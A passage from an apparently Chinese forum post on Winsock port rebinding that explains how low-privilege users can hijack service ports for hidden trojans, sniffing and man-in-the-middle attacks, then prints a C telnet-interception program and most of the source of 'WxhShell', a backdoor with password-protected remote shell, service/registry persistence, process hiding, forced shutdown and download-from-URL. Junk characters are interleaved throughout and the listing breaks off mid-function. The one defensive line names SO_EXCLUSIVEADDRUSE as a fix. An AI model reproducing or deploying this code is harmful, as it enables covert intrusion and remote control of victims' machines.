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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: a%J6f$A#  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); FX,$_:f6Y  
f!-Sz/c#  
  saddr.sin_family = AF_INET;  8R69q:  
/k"hH\Pp  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); '3kcD7  
m<3v)R[>  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); GZ0aOpUWVq  
 ?9u4a_x  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 0%)5.=6  
.)8   
  这意味着什么?意味着可以进行如下的攻击: G\Q9IcJ0dY  
Wc#:f 8dr  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 DQ=N1pft2v  
abY0)t  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 0B0G2t&hr  
ZZ A.a  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 jgvh[@uB?  
{=At#*=A  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  bGh0<r7R  
hZNEv|  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 -%uy63LbHF  
+ >sci  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 #cEq_[yI  
'=TTa  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 cq^sq1A:  
8g5V,3_6  
  #include }?O[N}>,m  
  #include Ww87  
  #include W<gD6+=8  
  #include    /.Wc_/  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ?2~U2Ir]:  
  int main() 2uo8jF.h  
  { 2_olT_#  
  WORD wVersionRequested; O=O(3Pf>  
  DWORD ret; ( ji_o^  
  WSADATA wsaData; *t =i  
  BOOL val; l/V&s<  
  SOCKADDR_IN saddr; rr>~WjZ3  
  SOCKADDR_IN scaddr; O~Uw&Bq  
  int err; 2v|qLf e1  
  SOCKET s; M5+W$W  
  SOCKET sc; w?ai,Pw  
  int caddsize; >1XL;)IL>  
  HANDLE mt; l Z~+u  
  DWORD tid;   aVK()1v]  
  wVersionRequested = MAKEWORD( 2, 2 ); s 4IKSX  
  err = WSAStartup( wVersionRequested, &wsaData ); "=`~iXT{e  
  if ( err != 0 ) { x[m'FsR4  
  printf("error!WSAStartup failed!\n"); .xv ^G?GG  
  return -1; ~M[>m~8  
  } zlX! xqHj  
  saddr.sin_family = AF_INET; ;^.9#B,<  
   aT/KT,!  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 cJ4S!  
/lUk5g^j  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); er\:U0fr#@  
  saddr.sin_port = htons(23); #HcI4j:s!  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ?HxS)Pqq  
  { 5fxbA2\  
  printf("error!socket failed!\n"); 7+] F^ 6  
  return -1; LsotgQ8   
  } w2<*$~C]  
  val = TRUE; G+Ei#:W,  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ,yi2O]5e>!  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 9t\ [N/  
  { IgiqFV {  
  printf("error!setsockopt failed!\n"); e6es0D[>5  
  return -1; '!j(u@&!  
  } M7pvxChA  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; h=wf>^l  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 iDvpXn  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 R]fYe#!"  
$:HLRl{2E  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) r?XDvU  
  { 9e76 pP(  
  ret=GetLastError(); Bzm. X=U:  
  printf("error!bind failed!\n"); k%a?SU<f  
  return -1; 6NKF'zh  
  } S&`O\!NF  
  listen(s,2); JbVi1?c  
  while(1) GfQ^@Tl  
  { zrTY1Asw;4  
  caddsize = sizeof(scaddr); u p7 x)w:  
  //接受连接请求 z+2u-jG  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ma`w\8 a  
  if(sc!=INVALID_SOCKET) 9M19 UP&  
  { FrgV@4'2G  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); _.hIv8V  
  if(mt==NULL) FRD<0o/`  
  { (T`q++  
  printf("Thread Creat Failed!\n"); iPJ9Gh7  
  break; f#2#g%x  
  } G:){^Z?  
  } _fe0,  
  CloseHandle(mt); K-ju,4A  
  } AzW%+ LUD  
  closesocket(s); ]b!R-G!gV  
  WSACleanup(); y>&VtN{E  
  return 0; Xd5! Ti}  
  }   aq$62>[  
  DWORD WINAPI ClientThread(LPVOID lpParam) 2@OBeR  
  { U &f#V=Rg  
  SOCKET ss = (SOCKET)lpParam; TosPk(o(  
  SOCKET sc; }$&);7(w  
  unsigned char buf[4096]; Z@8MhJ  
  SOCKADDR_IN saddr; [_h.1oZp~  
  long num; ($,iAb  
  DWORD val; {[rO2<MkA#  
  DWORD ret; c@)pKi#W  
  //如果是隐藏端口应用的话,可以在此处加一些判断 qL u8!|QT  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   `mWQWx$V!  
  saddr.sin_family = AF_INET; 'XG:1Bpm  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Rs^jk)Z:)  
  saddr.sin_port = htons(23); u_hE7#i  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) z;``g"dSw  
  { w@4t$bd7  
  printf("error!socket failed!\n"); m.|qVN  
  return -1; @DUN;L 4  
  } Nt?2USTs-  
  val = 100; c4S>_qH  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Cw@k.{*7,  
  { Jq=X!mT d.  
  ret = GetLastError(); -DbH6u3  
  return -1; (0Zrfu^  
  } y_;]=hEL  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 7Q<Kha  
  { ID_|H?.  
  ret = GetLastError(); *tIdp`xT/T  
  return -1; ze-TBh/  
  } s,{RP0|  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) d8VWi*  
  { M^!C?(Hx^x  
  printf("error!socket connect failed!\n"); A?^A*e  
  closesocket(sc); )ylv(qgV  
  closesocket(ss); ptnMCF  
  return -1; |SwZi'p  
  } u-]vK  
  while(1) 8T!fGzHx  
  { 1 P(&GYc  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。  3J'Bm"  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ,'/HcF?yf  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 a 5~G  
  num = recv(ss,buf,4096,0); dlU JYI  
  if(num>0) .rD#1)O  
  send(sc,buf,num,0); 5#N"WHz!  
  else if(num==0) ({ :yw  
  break; ^!-E`<jW8  
  num = recv(sc,buf,4096,0); RPofa+  
  if(num>0) F}VS)  
  send(ss,buf,num,0); e3oYy#QNk  
  else if(num==0) Dohl,d  
  break; BWqik_  
  } E.En$'BvB  
  closesocket(ss); KqG/a  
  closesocket(sc); ]x5(bnW x  
  return 0 ; '=Ip5A{S/  
  } D]LFX/hlH  
sM);gI14  
T<9dW?'|  
========================================================== $\JQGic`  
Wme1Uid  
下边附上一个代码,,WXhSHELL )- Wn'C'Z  
>Rz#g*@E  
========================================================== &+|jJ{93z  
2<\yky  
#include "stdafx.h" F|h ,a;2  
r P<d[u  
#include <stdio.h> f<$K.i  
#include <string.h> ]ouUv7\  
#include <windows.h> [E..VesrM  
#include <winsock2.h> )f:!#v(K  
#include <winsvc.h> "'&>g4F`o  
#include <urlmon.h> `gBXeG2fn  
;OT#V,}r  
#pragma comment (lib, "Ws2_32.lib") 3=G5(0  
#pragma comment (lib, "urlmon.lib") *1 J#Mdd  
H *z0xxa  
#define MAX_USER   100 // 最大客户端连接数 Np5/lPb1  
#define BUF_SOCK   200 // sock buffer %i]uW\~U  
#define KEY_BUFF   255 // 输入 buffer pRDON)$  
yC&b-y  
#define REBOOT     0   // 重启 ~8n~4  
#define SHUTDOWN   1   // 关机 f;_K}23  
(dGM;Dq8  
#define DEF_PORT   5000 // 监听端口 dmTW]P2  
k8t Na@H  
#define REG_LEN     16   // 注册表键长度 [/#k$-  
#define SVC_LEN     80   // NT服务名长度 ? A^3.`  
{XVf|zM,  
// 从dll定义API 66Cj=n5  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Cs~\FI1wR  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); #u]_7/(</`  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ^r?sgJ  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); $'I$n  
 c+G:@%  
// wxhshell配置信息 !_/8!95  
struct WSCFG { 19YJ`(L`x  
  int ws_port;         // 监听端口 9DP75 ti  
  char ws_passstr[REG_LEN]; // 口令 uq#h\p|  
  int ws_autoins;       // 安装标记, 1=yes 0=no _ UVX  
  char ws_regname[REG_LEN]; // 注册表键名 *t]&b ;=gE  
  char ws_svcname[REG_LEN]; // 服务名 R y*I~<m  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 .AmM%I4K  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 q[,R%6&'  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 NXG}0`QVT  
int ws_downexe;       // 下载执行标记, 1=yes 0=no T\$^>@  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Al-%j- j@-  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 4'4s EjyA  
`QyALcO   
}; O ]4 x;`)  
+h\W~muR  
// default Wxhshell configuration Vl QwVe  
struct WSCFG wscfg={DEF_PORT, /{#_Um0.  
    "xuhuanlingzhe", ~sU! 1  
    1, J9KLO=  
    "Wxhshell", eABdy e  
    "Wxhshell", 5fDtSsW  
            "WxhShell Service", ;?L[]Ezzt  
    "Wrsky Windows CmdShell Service", Xk9r"RmiOb  
    "Please Input Your Password: ", ~ dI&> CL  
  1, /j5- "<;.  
  "http://www.wrsky.com/wxhshell.exe", odT7Gq  
  "Wxhshell.exe" S5[RSAbf*t  
    }; N~K)0RETn  
Q!A3hr$IF  
// 消息定义模块 #+DmH  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; G<WDyoN=O  
char *msg_ws_prompt="\n\r? for help\n\r#>"; =D"63fP1  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; +\(ay"+ d  
char *msg_ws_ext="\n\rExit."; C9; X6  
char *msg_ws_end="\n\rQuit."; }SvWC8  
char *msg_ws_boot="\n\rReboot..."; i:N^:%  
char *msg_ws_poff="\n\rShutdown..."; ,I:m*.q  
char *msg_ws_down="\n\rSave to "; uP'w.nA&2  
>*Z{@1*h  
char *msg_ws_err="\n\rErr!"; QT&Ws+@ s{  
char *msg_ws_ok="\n\rOK!"; z%gtV'  
+Gwe%p Q  
char ExeFile[MAX_PATH]; EvardUB)  
int nUser = 0; k2,oyUT=S  
HANDLE handles[MAX_USER]; 1AEVZ@(j7  
int OsIsNt; u:u 7|\q  
v]Q_  
SERVICE_STATUS       serviceStatus; a>jI_)L  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; JX,#W!d  
Pge}xKT  
// 函数声明 `m0Uj9)#  
int Install(void); z&J ow/  
int Uninstall(void); KJ{F,fr+v  
int DownloadFile(char *sURL, SOCKET wsh); "Ohpb!J9  
int Boot(int flag); X\)KVn`  
void HideProc(void); s{EX ;   
int GetOsVer(void); e8uIh[+ 0  
int Wxhshell(SOCKET wsl); N~<}\0  
void TalkWithClient(void *cs); G?1V~6  
int CmdShell(SOCKET sock); + T-zf@j  
int StartFromService(void); =4\~M"[p  
int StartWxhshell(LPSTR lpCmdLine); Bst>9V&R  
Tq_X8X#p  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); fy-Z{  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); L<>NL$CrN  
}eRG$)'  
// 数据结构和表定义 Vwg|?sG_  
SERVICE_TABLE_ENTRY DispatchTable[] = ~I^[rP~  
{ Cspm\F  
{wscfg.ws_svcname, NTServiceMain}, kITmo"$K  
{NULL, NULL} 3S|;yOl#X  
}; v?"ee&Y6  
csA.3|rv  
// 自我安装 NcMq>n  
int Install(void) YhK/pt43C  
{ !*. nR(>d  
  char svExeFile[MAX_PATH]; #$rT 4N c;  
  HKEY key; }Fe{s;  
  strcpy(svExeFile,ExeFile); bc}OmPE  
Wk#-LkI  
// 如果是win9x系统,修改注册表设为自启动 W_n.V" hN  
if(!OsIsNt) { Z8 n%=(He  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { s31_3?Vdf,  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); jY6=+9Jz5  
  RegCloseKey(key); mqc Z3lsv  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { kAQZj3P]  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); tpzdYokh >  
  RegCloseKey(key); [|O6n"'  
  return 0; k3h53QTmC  
    } L"<Eov6  
  } /1 %0A  
} $5(%M8qmQ  
else { o5@P>\ u>  
KKJ[  
// 如果是NT以上系统,安装为系统服务 rX d2[pp  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); zd]L9 _  
if (schSCManager!=0) Z`KXXlJ^i  
{ #{cpG2Rs  
  SC_HANDLE schService = CreateService 69[k ?')LM  
  ( uKzz/Y{  
  schSCManager, U>jk`?zW  
  wscfg.ws_svcname, <?}g[]i  
  wscfg.ws_svcdisp, !h(0b*FUJ  
  SERVICE_ALL_ACCESS, hRcJ):Wyb  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , zQfxw?~A  
  SERVICE_AUTO_START, 6_><W"r:]  
  SERVICE_ERROR_NORMAL, Q*{ 2  
  svExeFile, CrQ& -!Eh  
  NULL, `g1~ya(MC  
  NULL, /kVc7 LC  
  NULL, R6.#gb8^oS  
  NULL, .]l2)OlLQ  
  NULL @(?d0xCg  
  ); L%Hm# eFx  
  if (schService!=0) :m)?+  
  { yKhzymS}T  
  CloseServiceHandle(schService); . M $D  
  CloseServiceHandle(schSCManager); X*) :N]  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); R7b*(33  
  strcat(svExeFile,wscfg.ws_svcname); Qt39H@c|z~  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { v>PHn69PU  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); jd'R2e  
  RegCloseKey(key); :|Ty 0>k  
  return 0; P6'I:/V  
    } 2p[3Ap  
  } o`Brr:  
  CloseServiceHandle(schSCManager); bJ}+<##  
} g5\B-3{  
} AtYYu  
~`f B\7M  
return 1; 9?6$ 2I  
} #<3\}*/  
KrzM]x  
// 自我卸载 K.zs;^  
int Uninstall(void) i*>yUav"  
{ cv1L!Ce,  
  HKEY key; vBXr[XoC  
=? aB@&  
if(!OsIsNt) { t$|6} BX  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { yh<aFYdk  
  RegDeleteValue(key,wscfg.ws_regname); 4!|ar?Zy  
  RegCloseKey(key); -lEh}r  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Yw `VL)v(y  
  RegDeleteValue(key,wscfg.ws_regname); [i_x 1  
  RegCloseKey(key); n\Nl2u& m  
  return 0; u9(AT>HxT  
  } rJwJ5U  
} A/aQpEb%  
} AG2jl/  
else { X9wi:  
(5 hu W7v  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); %9M49 s  
if (schSCManager!=0) N"y4#W(Z@  
{ $!w%=  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); voEc'JET  
  if (schService!=0) Yd'ke,Je  
  { LPF?\mf ^4  
  if(DeleteService(schService)!=0) { y0]O 6.{  
  CloseServiceHandle(schService); H;ib3?  
  CloseServiceHandle(schSCManager); 9b6h!(  
  return 0; Z0KA4O$eL  
  } qMOD TM~+  
  CloseServiceHandle(schService); KG@hjO  
  } ]ghPbS@  
  CloseServiceHandle(schSCManager); X.qKG0i  
} cB^lSmu5  
} dZ Z/(oE>  
f 5Oh#  
return 1; GYO"1PM  
} 6W Zp&pO  
jL&F7itP  
// 从指定url下载文件 5N0H^  
int DownloadFile(char *sURL, SOCKET wsh) |Sm/Uq(c  
{ r9[J3t*({~  
  HRESULT hr; Jjv&@a}  
char seps[]= "/"; 9"TPDU7"  
char *token; >E3OYa?G  
char *file; IT|CfQ [D  
char myURL[MAX_PATH];  3@*8\  
char myFILE[MAX_PATH]; Xo b##{P3  
!WXSrICX[  
strcpy(myURL,sURL); r>\.b{wI  
  token=strtok(myURL,seps); SbY i|V,H  
  while(token!=NULL) \&fK8H1  
  { NT'Yh  
    file=token; 3V]a "C   
  token=strtok(NULL,seps); sXA=KD8  
  } T28#?Lp6]  
}<p%PyM  
GetCurrentDirectory(MAX_PATH,myFILE); qM'5cxe  
strcat(myFILE, "\\"); NT0q!r/!  
strcat(myFILE, file); cqDnZ`|6  
  send(wsh,myFILE,strlen(myFILE),0); ?FyA2q!  
send(wsh,"...",3,0); #%~wuCn<K  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); rE 8-MB  
  if(hr==S_OK) %|Vq"MW,I  
return 0; S3w? X  
else %"D-1&%zY  
return 1; V! p;ME  
&>SE9w/ ?o  
} 7-)KTBFL  
E@p9vf->  
// 系统电源模块 ~7|z2L  
int Boot(int flag) c{[WOrA~#  
{ uP.3(n[&  
  HANDLE hToken; 0:nyOx(;  
  TOKEN_PRIVILEGES tkp; \TjsXy=:)  
GI/o!0"_  
  if(OsIsNt) { V0>,Kxk  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); zKo,B/Ke4  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); X(~NpLR  
    tkp.PrivilegeCount = 1; Q =Z-vTD+  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Y&nY]VV  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Ad(j&P  
if(flag==REBOOT) { _:J! |'  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 9#+X?|p+0  
  return 0; h8Gp>b  
} W>.qGK|l  
else { /n_N`VJ7H  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 09r.0Ks  
  return 0; umY4tNe]$  
} &0'BCT  
  } iVE+c"c!2&  
  else { YIfbcR5  
if(flag==REBOOT) { B--`=@IRf"  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Lq:Z='Kc  
  return 0; 'Q# KjY  
} 9kcAMk1K  
else { QM=X<?m/,=  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Q/':<QY  
  return 0; `3~w#?+=*  
} rc"yEI-``"  
} LaRY#9  
x@yF|8  
return 1; E8/P D  
} 8d-_'MXk3  
Tw$lakw  
// win9x进程隐藏模块 Hc71 .rqS  
void HideProc(void)  C+_ NG  
{ YkTEAI|i  
}JS?42CTaV  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); JVRK\A|R  
  if ( hKernel != NULL ) ?g 1%-F+  
  { n<MH\.!tM  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); fU,sn5zZ  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); h/d&P  
    FreeLibrary(hKernel); Y>r9"X| &H  
  } mhL,:UE  
)!'SSVaRs  
return; 2|+**BxHD  
}  e tY9Pq  
%A04'dj`zQ  
// 获取操作系统版本 WL<Cj_N_{H  
int GetOsVer(void) {{j?3O//  
{ !RV}dhI  
  OSVERSIONINFO winfo; fn)c&|aCt  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); C]82Mt  
  GetVersionEx(&winfo); bEbnZ<kz*  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) bUt?VR}P(  
  return 1; -[Q%Vv!8  
  else aB.`'d)V  
  return 0; S7@.s`_{w  
} xI$B",?(  
k/Z}nz   
// 客户端句柄模块 't]=ps  
int Wxhshell(SOCKET wsl) @wb V@  
{ in$Pk$ c  
  SOCKET wsh; T0i_X(_  
  struct sockaddr_in client; Ygr1 S(=  
  DWORD myID; {2A/@$?  
r/SV.` k  
  while(nUser<MAX_USER) A~u-Iv(U  
{ \)pk/  
  int nSize=sizeof(client); r\Zz=~![<  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 49cQA$Ad  
  if(wsh==INVALID_SOCKET) return 1; j*xxOwf  
jU/0a=h9  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); >O?5mfMK  
if(handles[nUser]==0) .>_p7=a  
  closesocket(wsh); GHfsq|*j,Z  
else Q u{#4qToA  
  nUser++; h5>JBLawQP  
  } pPUKx =d  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); vzG(u_,9[  
gq!| 0  
  return 0; (bY#!16C:  
} W&qE_r  
"aHA6zTB  
// 关闭 socket g^/  
void CloseIt(SOCKET wsh) se2ay_<F+  
{ pbt/i+!  
closesocket(wsh); 0& 54xP  
nUser--; F<VoPqHq  
ExitThread(0); =y.?=`"  
} C;QIp6"1  
Tapj7/0`  
// 客户端请求句柄 D<78Tm x  
void TalkWithClient(void *cs) 3!ZndW SHV  
{ |hk?'WGc`0  
%#7Yr(&  
  SOCKET wsh=(SOCKET)cs; RX3P %xZ  
  char pwd[SVC_LEN]; bdEc ?  
  char cmd[KEY_BUFF]; NBU[>P  
char chr[1]; v2][gn+58  
int i,j; 5 ELKL#(  
2|8e7q:+*  
  while (nUser < MAX_USER) { 4Hc+F(  
;H}XW=vO  
if(wscfg.ws_passstr) { l.NV]up +  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); =8#$'1K,v  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); . Lbu[  
  //ZeroMemory(pwd,KEY_BUFF); XR3=Y0YDf  
      i=0; w a7)  
  while(i<SVC_LEN) { s~V%eq("}  
2j*;1  
  // 设置超时 J0K25w  
  fd_set FdRead; =wE1j  
  struct timeval TimeOut; SkU'JM7<95  
  FD_ZERO(&FdRead); ]n _OQ)VO  
  FD_SET(wsh,&FdRead); '@t}8J  
  TimeOut.tv_sec=8; aAJ'0xnj  
  TimeOut.tv_usec=0; tn>z%6;&Z  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); M@%$9N)gd  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Gpv9~&  
V}_M\Y^^;  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ;iEr+  
  pwd=chr[0]; >,;, 6|S  
  if(chr[0]==0xd || chr[0]==0xa) { y(!J8(yA  
  pwd=0; F6,[!.wl  
  break; rRgP/E#_  
  }  #4?Z|_j3  
  i++; %+0 7>/  
    } cG{>[Lf  
fg}&=r  
  // 如果是非法用户,关闭 socket 1HPYW7jk@"  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); lM/)<I\8  
} w=Cq v~  
fdk]i/*)  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); !5FZxmUup  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Tp-<!^o4  
% VZ QX_  
while(1) { 1j4(/A  
iPoh2  
  ZeroMemory(cmd,KEY_BUFF); vQK*:IRKK  
%uA\Le  
      // 自动支持客户端 telnet标准   (?[^##03MN  
  j=0; (x"TM),Q  
  while(j<KEY_BUFF) { =XbOY[  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ~Q4 emgBD  
  cmd[j]=chr[0]; @-9u;aL  
  if(chr[0]==0xa || chr[0]==0xd) { e&*< "WN  
  cmd[j]=0; YhpNeP{A  
  break; (`nn\)  
  } b3$aPwv  
  j++; BM6 J  
    } ^ hoz<Ns  
oz54IO  
  // 下载文件 8~q%H1[I\N  
  if(strstr(cmd,"http://")) { ZMFV iE;8  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); k#*tf:R  
  if(DownloadFile(cmd,wsh)) ^#:F8D  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); +*Um:}&  
  else fYv= yP~  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _hK83s4  
  } %(72+B70R  
  else { UBN^dbP*  
Yr7%C  
    switch(cmd[0]) { IYb%f T  
  1#o>< ?  
  // 帮助 DH@})TN*O  
  case '?': { Hjho!np  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); e~Hx+Qp.G  
    break; _4H}OGZI  
  } eYJ6&).F  
  // 安装 : 5=E> !  
  case 'i': { vO2I"Y*\  
    if(Install()) z@\r V@W5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); o'9K8q\1  
    else j9sK P]w  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); bu&x& M*  
    break; [;IW'cXNq  
    } mn5"kYy?  
  // 卸载 ;a]Lxx;-  
  case 'r': { Z33&FUU  
    if(Uninstall()) m@qM|%(0x  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +W=  
    else W6=j^nv  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [#}A]1N  
    break; _3G;-iNX;  
    } JjH#,@'.  
  // 显示 wxhshell 所在路径 -85]x)JE  
  case 'p': { >O7ITy  
    char svExeFile[MAX_PATH]; }=d]ke9_  
    strcpy(svExeFile,"\n\r"); *""JE'wG  
      strcat(svExeFile,ExeFile); bC[TLsh7{2  
        send(wsh,svExeFile,strlen(svExeFile),0); 8(GH.)I+0  
    break; !>%U8A  
    } pWU3?U  
  // 重启 n9qO;X4&  
  case 'b': { ]}K\&ho2  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); N S^(5g  
    if(Boot(REBOOT)) }8+rrzMUB  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); bo;;\>k  
    else { a,B2;4"  
    closesocket(wsh); pv:7kgod  
    ExitThread(0); j_r?4k  
    } $}{u6*u.,  
    break; mY}_9rTn|  
    } H,/|pP.  
  // 关机 gnAM}  
  case 'd': { H<^*V8J 'w  
